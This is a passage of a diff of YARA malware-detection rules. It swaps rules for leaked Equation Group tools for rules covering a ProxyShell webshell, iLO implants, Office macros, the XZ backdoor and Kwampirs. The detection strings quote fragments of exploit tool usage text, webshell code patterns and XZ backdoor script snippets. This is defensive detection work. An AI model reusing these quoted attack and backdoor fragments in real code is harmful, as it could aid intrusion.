+		filesize <500KB and not uint16(0)==0x4B50 and not uint16(0)==0x6152 and not uint16(0)==0x8b1f and not uint16(0)==0x5A4D and not uint16(0)==0xCFD0 and not uint16(0)==0xC3D4 and not uint16(0)==0x534D and all of ($s*) and not 1 of ($fp*) and ((( uint8(0)<0x20 or uint8(0)>0x7E) and uint8(0)!=0x9 and uint8(0)!=0x0D and uint8(0)!=0x0A and uint8(0)!=0xEF) or (( uint8(1)<0x20 or uint8(1)>0x7E) and uint8(1)!=0x9 and uint8(1)!=0x0D and uint8(1)!=0x0A and uint8(1)!=0xBB) or (( uint8(2)<0x20 or uint8(2)>0x7E) and uint8(2)!=0x9 and uint8(2)!=0x0D and uint8(2)!=0x0A and uint8(2)!=0xBF) or (( uint8(3)<0x20 or uint8(3)>0x7E) and uint8(3)!=0x9 and uint8(3)!=0x0D and uint8(3)!=0x0A) or (( uint8(4)<0x20 or uint8(4)>0x7E) and uint8(4)!=0x9 and uint8(4)!=0x0D and uint8(4)!=0x0A) or (( uint8(5)<0x20 or uint8(5)>0x7E) and uint8(5)!=0x9 and uint8(5)!=0x0D and uint8(5)!=0x0A) or (( uint8(6)<0x20 or uint8(6)>0x7E) and uint8(6)!=0x9 and uint8(6)!=0x0D and uint8(6)!=0x0A) or (( uint8(7)<0x20 or uint8(7)>0x7E) and uint8(7)!=0x9 and uint8(7)!=0x0D and uint8(7)!=0x0A))
 }
-rule SIGNATURE_BASE_Equationgroup_Cmsex : FILE
+rule SIGNATURE_BASE_WEBSHELL_Proxyshell_Exploitation_Nov21_1
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file cmsex"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9a1051a5-3f31-5fc2-85a0-beb2dea962d6"
-		date = "2017-04-08"
+		description = "Detects webshells dropped by DropHell malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "300eaadf-db0c-5591-84fc-abdf7cdd90c1"
+		date = "2021-11-01"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L503-L520"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "997e08a49c5ae82bcc590e5febd449a4d3e9098f5aa154ccc0824b976f0a6365"
-		score = 75
+		reference = "https://www.deepinstinct.com/blog/do-not-exchange-it-has-a-shell-inside"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L252-L266"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d9812d3f53c346c4e318609e0c7de66811b27ffa7528a6ddeb6ac8436da59ef5"
+		score = 85
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2d8ae842e7b16172599f061b5b1f223386684a7482e87feeb47a38a3f011b810"
+		tags = ""
 
 	strings:
-		$x1 = "Usage: %s -i <ip_addr/hostname> -c <command> -T <target_type> (-u <port> | -t <port>) " fullword ascii
-		$x2 = "-i target ip address / hostname " fullword ascii
-		$x3 = "Note: Choosing the correct target type is a bit of guesswork." fullword ascii
-		$x4 = "Solaris rpc.cmsd remote root exploit" fullword ascii
-		$x5 = "If one choice fails, you may want to try another." fullword ascii
+		$s01 = ".LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request[" ascii wide
+		$s02 = "new System.IO.MemoryStream()" ascii wide
+		$s03 = "Transform(" ascii wide
 
 	condition:
-		( uint16(0)==0x457f and filesize <50KB and 1 of ($x*)) or (2 of them )
+		all of ($s*)
 }
-rule SIGNATURE_BASE_Equationgroup_Exze : FILE
+rule SIGNATURE_BASE_APT_MAL_HP_Ilo_Firmware_Dec21_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file exze"
+		description = "Detects suspicios ELF files with sections as described in malicious iLO Board analysis by AmnPardaz in December 2021"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d452b952-0c4a-501b-93f5-064d13f2c08e"
-		date = "2017-04-08"
+		id = "7f5fa905-07a3-55da-b644-c5ab882b4a9d"
+		date = "2021-12-28"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L522-L537"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b8678f58da689be9507a345b6b80ece6cdb7a78d73db339bdc15ad0a66b4a2e6"
-		score = 75
+		reference = "https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_mal_ilo_board_elf.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7e959d07d864a485b8cc7765f9e12869ff34747ab552e26244eb28f510d1051f"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1af6dde6d956db26c8072bf5ff26759f1a7fa792dd1c3498ba1af06426664876"
 
 	strings:
-		$s1 = "shellFile" fullword ascii
-		$s2 = "completed.1" fullword ascii
-		$s3 = "zeke_remove" fullword ascii
+		$s1 = ".newelf.elf.text" ascii
+		$s2 = ".newelf.elf.libc.so.data" ascii
+		$s3 = ".newelf.elf.Initial.stack" ascii
+		$s4 = ".newelf.elf.libevlog.so.data" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <80KB and all of them )
+		filesize <5MB and 2 of them or all of them
 }
-rule SIGNATURE_BASE_Equationgroup_DUL : FILE
+rule SIGNATURE_BASE_Office_Autoopen_Macro : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file DUL"
+		description = "Detects an Microsoft Office file that contains the AutoOpen Macro function"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6dd90b30-30cb-531c-b8e2-fc208b21e8e6"
-		date = "2017-04-08"
+		id = "9774d96c-4d15-5a54-8fe2-e06372d9c4ec"
+		date = "2015-05-28"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L539-L553"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "55df9a844352babf0c30075139e2a62cbf9db898280546d27b172e4d611ce1c0"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/general_officemacros.yar#L2-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "23c834828e7a9ea966e5d7247881bbbf9180b8f08297e36cd36d2ba5f621c70d"
+		score = 40
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "24d1d50960d4ebf348b48b4db4a15e50f328ab2c0e24db805b106d527fc5fe8e"
+		hash1 = "4d00695d5011427efc33c9722c61ced2"
+		hash2 = "63f6b20cb39630b13c14823874bd3743"
+		hash3 = "66e67c2d84af85a569a04042141164e6"
+		hash4 = "a3035716fe9173703941876c2bde9d98"
+		hash5 = "7c06cab49b9332962625b16f15708345"
+		hash6 = "bfc30332b7b91572bfe712b656ea8a0c"
+		hash7 = "25285b8fe2c41bd54079c92c1b761381"
 
 	strings:
-		$x1 = "?Usage: %s <shellcode> <output_file>" fullword ascii
-		$x2 = "Here is the decoder+(encoded-decoder)+payload" fullword ascii
+		$s1 = "AutoOpen" ascii fullword
+		$s2 = "Macros" wide fullword
 
 	condition:
-		( uint16(0)==0x457f and filesize <80KB and 1 of them ) or ( all of them )
+		( uint32be(0)==0xd0cf11e0 or uint32be(0)==0x504b0304) and all of ($s*) and filesize <300000
 }
-rule SIGNATURE_BASE_Equationgroup_Slugger2 : FILE
+rule SIGNATURE_BASE_Office_As_MHTML : CVE_2012_0158 FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file slugger2"
+		description = "Detects an Microsoft Office saved as a MHTML file (false positives are possible but rare; many matches on CVE-2012-0158)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3787a39e-0123-5b46-90c9-6b772b1fd96c"
-		date = "2017-04-08"
+		id = "21c0c3da-7295-54ad-9947-557a3180af3a"
+		date = "2015-05-28"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L555-L574"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c736fdfa96d5e99bc4d093c03a81b8a4f58501ec8c03a2891f9f694d88b5284"
-		score = 75
+		reference = "https://www.trustwave.com/Resources/SpiderLabs-Blog/Malicious-Macros-Evades-Detection-by-Using-Unusual-File-Format/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/general_officemacros.yar#L28-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d5836a9c627e2e6833ea9e27526c76c00fc1fcf1fca8ea10777aa6f4bcc25053"
+		score = 40
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2012-0158, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a6a9ab66d73e4b443a80a69ef55a64da7f0af08dfaa7e17eb19c327301a70bdf"
+		hash1 = "8391d6992bc037a891d2e91fd474b91bd821fe6cb9cfc62d1ee9a013b18eca80"
+		hash2 = "1ff3573fe995f35e70597c75d163bdd9bed86e2238867b328ccca2a5906c4eef"
+		hash3 = "d44a76120a505a9655f0224c6660932120ef2b72fee4642bab62ede136499590"
+		hash4 = "5b8019d339907ab948a413d2be4bdb3e5fdabb320f5edc726dc60b4c70e74c84"
 
 	strings:
-		$x1 = "usage: %s hostip port cmd [printer_name]" fullword ascii
-		$x2 = "command must be less than 61 chars" fullword ascii
-		$s1 = "__rw_read_waiting" ascii
-		$s2 = "completed.1" fullword ascii
-		$s3 = "__mutexkind" ascii
-		$s4 = "__rw_pshared" ascii
+		$s1 = "Content-Transfer-Encoding: base64" ascii fullword
+		$s2 = "Content-Type: application/x-mso" ascii fullword
+		$x1 = "QWN0aXZlTWltZQA" ascii
+		$x2 = "0M8R4KGxGuE" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <50KB and (4 of them and 1 of ($x*))) or ( all of them )
+		uint32be(0)==0x4d494d45 and all of ($s*) and 1 of ($x*)
 }
-rule SIGNATURE_BASE_Equationgroup_Ebbisland : FILE
+rule SIGNATURE_BASE_Docm_In_PDF : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file ebbisland"
+		description = "Detects an embedded DOCM in PDF combined with OpenAction"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d30b9f26-c2c5-5ecb-9f63-e96017788e40"
-		date = "2017-04-08"
+		id = "08dfdfda-8ea5-530d-b89b-560415855080"
+		date = "2017-05-15"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L576-L594"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1f4b5054d4239e23146f0764ffe9037b658ecdb9a5f479956c5c45abc1012a17"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/general_officemacros.yar#L52-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "045cde0e8f9e0881c2caece7d5660e165aa67b43bed2ba6d4929951497d76494"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "eba07c98c7e960bb6c71dafde85f5da9f74fd61bc87793c87e04b1ae2d77e977"
 
 	strings:
-		$x1 = "Usage: %s [-V] -t <target_ip> -p port" fullword ascii
-		$x2 = "error - shellcode not as expected - unable to fix up" fullword ascii
-		$x3 = "WARNING - core wipe mode - this will leave a core file on target" fullword ascii
-		$x4 = "[-C] wipe target core file (leaves less incriminating core on failed target)" fullword ascii
-		$x5 = "-A <jumpAddr> (shellcode address)" fullword ascii
-		$x6 = "*** Insane undocumented incremental port mode!!! ***" fullword ascii
+		$a1 = /<<\/Names\[\([\w]{1,12}.docm\)/ ascii
+		$a2 = "OpenAction" ascii fullword
+		$a3 = "JavaScript" ascii fullword
 
 	condition:
-		filesize <250KB and 1 of them
+		uint32(0)==0x46445025 and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Jackpop : FILE
+rule SIGNATURE_BASE_BKDR_Xzutil_Script_CVE_2024_3094_Mar24_1 : CVE_2024_3094
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file jackpop"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7c650752-200b-51e7-95c2-4d385bfd5844"
-		date = "2017-04-08"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L596-L614"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6efc4ccd2727f93713ad35dc1f054fa25e976e8c3d95f00226fbd56d7f1ce30b"
-		score = 75
+		description = "Detects make file and script contents used by the backdoored XZ library (xzutil) CVE-2024-3094."
+		author = "Florian Roth"
+		id = "6b62ffc2-d0a7-5810-97a3-c48f7fac300e"
+		date = "2024-03-30"
+		modified = "2024-04-24"
+		reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/bkdr_xz_util_cve_2024_3094.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d44d0425769fa2e0b6875e5ca25d45b251bbe98870c6b9bef34f7cea9f84c9c3"
+		logic_hash = "8d3f5f078a5c827208e04acb7ac1496f473e1236f92561f94d2a3c8156c68ea6"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0b208af860bb2c7ef6b1ae1fcef604c2c3d15fc558ad8ea241160bf4cbac1519"
+		tags = "CVE-2024-3094"
 
 	strings:
-		$x1 = "%x:%d  --> %x:%d %d bytes" fullword ascii
-		$s1 = "client: can't bind to local address, are you root?" fullword ascii
-		$s2 = "Unable to register port" fullword ascii
-		$s3 = "Could not resolve destination" fullword ascii
-		$s4 = "raw troubles" fullword ascii
+		$x1 = "/bad-3-corrupt_lzma2.xz | tr " ascii
+		$x2 = "/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|" ascii
+		$x3 = "eval $zrKcKQ" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <30KB and 3 of them ) or ( all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Parsescan : FILE
+rule SIGNATURE_BASE_BKDR_Xzutil_Binary_CVE_2024_3094_Mar24_1 : CVE_2024_3094 FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file parsescan"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bbe8b518-2bf0-5de4-8fb8-9b8609d393dc"
-		date = "2017-04-08"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L616-L630"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "25e0bc21f93cd72814cd6114883ed903af84a62dced126201b6037a476dbd2cd"
+		description = "Detects injected code used by the backdoored XZ library (xzutil) CVE-2024-3094."
+		author = "Florian Roth"
+		id = "6ccdeb6d-67c4-5358-a76b-aef7f047c997"
+		date = "2024-03-30"
+		modified = "2024-04-24"
+		reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/bkdr_xz_util_cve_2024_3094.yar#L19-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed364484ff598b0818f9b3249673e684b52394c25b14e47fbca25a5f96ecc970"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "942c12067b0afe9ebce50aa9dfdbf64e6ed0702d9a3a00d25b4fca62a38369ef"
+		tags = "CVE-2024-3094, FILE"
+		hash1 = "319feb5a9cddd81955d915b5632b4a5f8f9080281fb46e2f6d69d53f693c23ae"
+		hash2 = "605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4"
+		hash3 = "8fa641c454c3e0f76de73b7cc3446096b9c8b9d33d406d38b8ac76090b0344fd"
+		hash4 = "b418bfd34aa246b2e7b5cb5d263a640e5d080810f767370c4d2c24662a274963"
+		hash5 = "cbeef92e67bf41ca9c015557d81f39adaba67ca9fb3574139754999030b83537"
+		hash6 = "5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049"
 
 	strings:
-		$s1 = "$gotgs=1 if (($line =~ /Scan for (Sol|SNMP)\\s+version/) or" fullword ascii
-		$s2 = "Usage:  $prog [-f file] -p prognum [-V ver] [-t proto] -i IPadr" fullword ascii
+		$op1 = { 48 8d 7c 24 08 f3 ab 48 8d 44 24 08 48 89 d1 4c 89 c7 48 89 c2 e8 ?? ?? ?? ?? 89 c2 }
+		$op2 = { 31 c0 49 89 ff b9 16 00 00 00 4d 89 c5 48 8d 7c 24 48 4d 89 ce f3 ab 48 8d 44 24 48 }
+		$op3 = { 4d 8b 6c 24 08 45 8b 3c 24 4c 8b 63 10 89 85 78 f1 ff ff 31 c0 83 bd 78 f1 ff ff 00 f3 ab 79 07 }
+		$xc1 = { F3 0F 1E FA 55 48 89 F5 4C 89 CE 53 89 FB 81 E7 00 00 00 80 48 83 EC 28 48 89 54 24 18 48 89 4C 24 10 }
 
 	condition:
-		filesize <250KB and 1 of them
+		uint16(0)==0x457f and ( all of ($op*) or $xc1)
 }
-rule SIGNATURE_BASE_Equationgroup_Jscan : FILE
+rule SIGNATURE_BASE_BKDR_Xzutil_Killswitch_CVE_2024_3094_Mar24_1 : CVE_2024_3094
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file jscan"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c4cebc69-8ec8-5ad7-bd93-55565b3eb92b"
-		date = "2017-04-08"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L632-L646"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d3bbdb90da9fa5b8b41a8b5d35a9b42e4fa15f291146575b0ef22e81441dcbde"
-		score = 75
+		description = "Detects kill switch used by the backdoored XZ library (xzutil) CVE-2024-3094."
+		author = "Florian Roth"
+		id = "0d28bec4-1d3a-5af0-9e9e-49486fcc62e1"
+		date = "2024-03-30"
+		modified = "2024-04-24"
+		reference = "https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01?permalink_comment_id=5006558#gistcomment-5006558"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/bkdr_xz_util_cve_2024_3094.yar#L48-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b2024d4b8346c4f74524bb7f3c6b2850684c19471a00e6fa60fff1c41e4a86b6"
+		score = 85
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8075f56e44185e1be26b631a2bad89c5e4190c2bfc9fa56921ea3bbc51695dbe"
+		tags = "CVE-2024-3094"
 
 	strings:
-		$s1 = "$scanth = $scanth . \" -s \" . $scanthreads;" fullword ascii
-		$s2 = "print \"java -jar jscanner.jar$scanth$list\\n\";" fullword ascii
+		$x1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj"
 
 	condition:
-		filesize <250KB and 1 of them
+		$x1
 }
-rule SIGNATURE_BASE_Equationgroup_Promptkill : FILE
+rule SIGNATURE_BASE_SUSP_OBFUSC_SH_Indicators_Mar24_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file promptkill"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e0749b10-fa5a-5d73-86e1-e2008e121674"
-		date = "2017-04-08"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L648-L662"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7b46161b8cbb9a539171349b3e2a58f8e5a48c344b6d99020b3e96da9c878771"
-		score = 75
+		description = "Detects characteristics found in obfuscated script (used in the backdoored XZ package, but could match on others, too)"
+		author = "Florian Roth"
+		id = "f9fcc326-75d6-5a5a-a8b5-7de15a11448e"
+		date = "2024-04-06"
+		modified = "2024-04-24"
+		reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4/1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/bkdr_xz_util_cve_2024_3094.yar#L62-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b5abf8184e0b1b18ccc513e00e9db241b4983923ae97f495396d73f0fb162192"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b448204503849926be249a9bafbfc1e36ef16421c5d3cfac5dac91f35eeaa52d"
 
 	strings:
-		$x1 = "exec(\"xterm $xargs -e /current/tmp/promptkill.kid.$tag $pid\");" fullword ascii
-		$x2 = "$xargs=\"-title \\\"Kill process $pid?\\\" -name \\\"Kill process $pid?\\\" -bg white -fg red -geometry 202x19+0+0\" ;" fullword ascii
+		$s1 = "eval $"
 
 	condition:
-		filesize <250KB and 1 of them
+		uint8(1)==0x3d and $s1 in ( filesize -20.. filesize )
 }
-rule SIGNATURE_BASE_Equationgroup_Epoxyresin_V1_0_0 : FILE
+rule SIGNATURE_BASE_MAL_Kwampirs_Apr18 : KWAMPIRS
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file epoxyresin.v1.0.0.1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "390a13b0-3246-5bf7-8841-775a43045172"
-		date = "2017-04-08"
+		description = "Kwampirs dropper and main payload components"
+		author = "Symantec"
+		id = "298e2868-e90e-55b4-9115-9f0b43521266"
+		date = "2018-04-23"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L664-L681"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c1cbc18f05b299837463aa27a9c47ea0355ca5974b2c6ab1e0a18cc9ad1b26a1"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_kwampirs.yar#L1-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e9387c46b9e3fff90415c46af270d143bdeb6292f2521d889b8d6ae726a4cf3b"
 		score = 75
-		quality = 83
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "eea8a6a674d5063d7d6fc9fe07060f35b16172de6d273748d70576b01bf01c73"
+		quality = 85
+		tags = "KWAMPIRS"
+		family = "Kwampirs"
 
 	strings:
-		$x1 = "[-] kernel not vulnerable" fullword ascii
-		$s1 = ".tmp.%d.XXXXXX" fullword ascii
-		$s2 = "[-] couldn't create temp file" fullword ascii
-		$s3 = "/boot/System.map-%s" fullword ascii
+		$pubkey = {
+            06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00
+            01 00 01 00 CD 74 15 BC 47 7E 0A 5E E4 35 22 A5
+            97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9
+            E4 7E DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31
+            48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A
+            CD 43 D7 B4 75 C9 19 FE CC 88 4A 7B E9 1D 8C 11
+            56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33
+            02 E2 3A 50 EA 58 D2 A7 36 EE 5A D6 8F 5D 5D D2
+            9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28
+            4C 72 E1 60 AB 76 73 30 66 18 BE EC F3 99 5E 4B
+            4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71
+            6B 49 08 84 61 1D 03 BA A5 42 92 F9 13 33 57 D9
+            59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36
+            EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
+            C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6
+            FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D
+            90 DC 6C 26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF
+            F7 E4 0C B3
+        }
+		$network_xor_key = {
+            B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38
+            C8 E7 67 E9 C6 62 9C 50 4E 8D 00 A6 59 F8 72 E0
+            91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58
+            C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7 B5 68
+            CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B
+            8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02
+            D9 25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9
+            62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B
+            10 3B 60 32 1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E
+            BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83
+            3E 44 44 6C 97 85 9E 7B F0 EE 32 C3 11 41 A3 6B
+            A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91
+            75 AE 83 2E 1E F8 5F B5 65 ED B3 40 EA 2A 36 2C
+            A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7
+            45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13 74 33 0F
